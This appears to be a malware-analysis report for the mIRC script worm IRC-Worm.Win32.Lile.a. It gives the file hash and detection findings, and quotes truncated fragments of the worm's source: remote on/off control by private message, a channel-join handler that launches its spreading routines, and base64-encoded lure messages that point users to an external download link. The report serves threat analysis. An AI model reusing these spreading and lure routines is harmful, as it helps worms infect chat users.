Benign Download

IRC-Worm.Win32.Lile.a

mIRC command targets nickname variableEncoded content decoded: base64

SHA-256180223b080b9d33dfc2247517da6c008c362db6e38245d52523131f57e7c63d7

Evidence

mIRC command targets nickname variable lines 3–5

87… )) {
  if ($2 == On) { .set %le.on $true | .set %le.nick $nick | .privmsg $nick $decode(U2VjaW9uIE9u,m) }
if ($2 == Off) { .set %le.on $false | .unset %le.nick $nick | .privmsg $nick $decode(U2VjaW9uI …

Encoded content decoded: base64 lines 37–38

37:52…  $false | /set %LpT $false | /set %le.on $false | /Remote On }
38On 1:JOIN:*:{ if ($nick != $me) { { slf } | { slm } } | else { if (ayuda isin #) || (help isin #) || (virus isin #) || (avt isin #) || (vh isin #) || (gigairc isi …

Embedded HTTP or WebSocket URL lines 67–68

67:25…  %mg = $decode(TXVzaWNhIHkgdmlkZW9zIHJvY2sgcm9tYW50aWNhIHJlZ2dhZXRvbiBzYWxzYSBldGMgaHR0cDovL2NjYy4xYXNwaG9zdC5jb20vbHNlcnY2L3htdXNpYw==,m) }
68  elseif (%r = 12) { var %mg = $decode(QmFqYSBkZSBwZXNvIHJhcGlkYW1lbnRlIHk …